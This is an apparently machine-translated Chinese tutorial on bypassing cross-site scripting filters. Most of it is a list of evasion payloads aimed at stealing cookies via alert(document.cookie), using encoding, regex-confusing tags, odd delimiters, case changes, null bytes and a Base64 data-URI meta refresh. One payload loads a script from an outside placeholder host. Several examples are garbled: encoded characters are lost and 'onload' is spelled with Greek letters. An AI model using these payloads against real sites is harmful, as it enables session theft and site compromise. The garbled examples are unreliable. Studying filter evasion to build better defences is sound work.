规避跨站脚本 (XSS) 漏洞的两种主要技术是 XSS 过滤和 XSS 转义。然而,XSS 过滤是不可取的,因为它通常可以利用巧妙的策略来规避。
在本教程中,我们将说明黑客可能在其恶意代码中利用的一些技术,以轻松绕过 Web 应用程序中的 XSS 过滤器。
XSS 过滤的工作原理
XSS 过滤器通过定位可部署为跨站点脚本攻击向量的普通模式并从用户输入数据中删除此类代码片段来运行。
最常使用正则表达式发现模式。这是非常困难的,因为可以表示跨站点脚本有效负载的模式也可以作为网页内容合法部署。因此,过滤器应该能够避免误报。
此外,Firefox、Google Chrome 和 Internet Explorer 等当代 Web 浏览器在格式错误的 HTML 代码方面具有极强的容错能力。
此外,JavaScript 非常灵活,并且经常可以通过各种方式表达相同的实用性。黑客可以通过故意构建避开常见 XSS 搜索模式的代码来利用这些情况。
从理论上讲,构建一个实际可靠的 XSS 过滤器是可行的。尽管如此,过滤器的复杂性可能是巨大的,并且存在黑客发明一种新的绕过方法的可能性。因此,转义被认为是防止跨站点脚本攻击的更直接的提倡技术。
XSS 过滤器绕过技术
部署字符编码
为克服过滤器而部署的后续跨站点脚本向量基于可以启动过滤器的编码字符。
黑客使用多种编码方法,例如 HTML 实体和 Base64。编码取决于精确需要编码的内容。例如,href
标签 URL 支持 URL 编码,但标签名称不支持。
例如,为了欺骗搜索常见 ASCII 模式的过滤器,黑客可以替换
javascript:alert(document.cookie) |
和
jav
script:alert(document.cookie) |
请记住,演员可以跳过任何或所有分号。
如果过滤器了解如何确认编码尝试,则参与者可以尝试通过部署带有填充的十进制编码和跳过分号来欺骗它。
例如,以下等效于alert
:
alert |
欺骗正则表达式
有时,绕过过滤器只需要发现一种欺骗正则表达式的技术。
例如,攻击者可以使用带括号的虚假标签,例如:
<script a=">" src="http://example.com/xss.jpg"></script> |
如果正则表达式没有正确编写,它将假定脚本标记以初始右括号结尾。
此外,请注意如何调用该文件以模仿 JPG 图像和搜索特定文件扩展名的技巧过滤器。
使用非典型事件处理程序
尽管许多 XSS 过滤器在普通事件处理程序(如onerror
、onfocus
、onclick
、onmouseover
或)中测试可能的 JavaScript onclick
,但参与者可以尝试使用各种其他事件处理程序。例如,与选框相关的事件处理程序,如onfinish
和onstart
。
可以在网上找到最广泛的处理程序列表。
使用非典型分隔符
有多种字符可以部署为分隔符来代替空格。现代网络浏览器仍将正确执行代码。
例如,攻击者可以部署单引号、双引号和反引号(仅适用于许多 Web 浏览器)。
一个例子是:
<script src=test`οnlοad=`alert(document.cookie)> |
此外,黑客可能会尝试使用额外的尖括号和斜线(评论)来欺骗过滤器。
例如:
<<script>alert(document.cookie)//<</script> |
现代网络浏览器通常非常宽容,甚至可以正确执行后续代码:
<iframe src=http://xss.example.com/xss.html < |
此外,请记住,标签名称后的初始空格可以用更多的分隔符替换。例如,演员可以用一个斜杠替换它:
<img/οnlοad=alert(document.cookie)> |
案例处理和字符插入
在过滤器区分大小写的情况下,如果对手部署了与预期不同的案例,则可能会被欺骗。
例如,黑客可以部署<sCrIpT>
、<SCRIPT>
或<Script>
.
此外,现代 Web 浏览器通常会忽略参与者在 HTML 标记中插入的换行符、额外空格、制表符和回车符。
例如,黑客可以使用<script[\x09]>
、<script[\x10]>
、<script[\x13]>
或<script >
.
此外,黑客可以尝试在任何地方插入空字节。例如:<[\x00]script>
。
标签和属性
许多过滤器只关注公共标签。因此,攻击者可能会部署不常见的标签来绕过它们,例如<svg>
.
然而,过滤器经常忘记包含明显的标签,如<body onload=alert(document.cookie)>
.
故意失误
尽管故意的失误可能会帮助黑客绕过许多过滤器,但网络浏览器仍然会理解上下文。
当黑客在错误的位置、不按顺序使用引号或只是忘记包含相关引号时,情况尤其如此。
因此,一个例子是:
<input type="text" name="test" value="><script>alert("xss")</script> |
因此,尽管代码仍会执行,但未关闭的引号后面的值可能会欺骗过滤器,因为大多数 Web 浏览器会将引号视为已关闭并在内部修复代码。
用于欺骗过滤器的其他故意错误可能涉及在标签名称后面包含垃圾内容。
一些当代的网络浏览器将完全无视包含的内容。因此,对手可以<script/anything>
利用<script>
.
结论
正如我们所见,黑客可以轻松绕过 Web 应用程序中的跨站点脚本过滤器。过滤器规避继续发展,当新技术被发现时,未来会出现新技术也就不足为奇了。
可以同时部署多种技术以提高规避效率。例如,演员可以使用类似Base64 编码的meta
标签:refresh
<meta http-equiv="refresh" content="0;url=data:text/html base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ"> |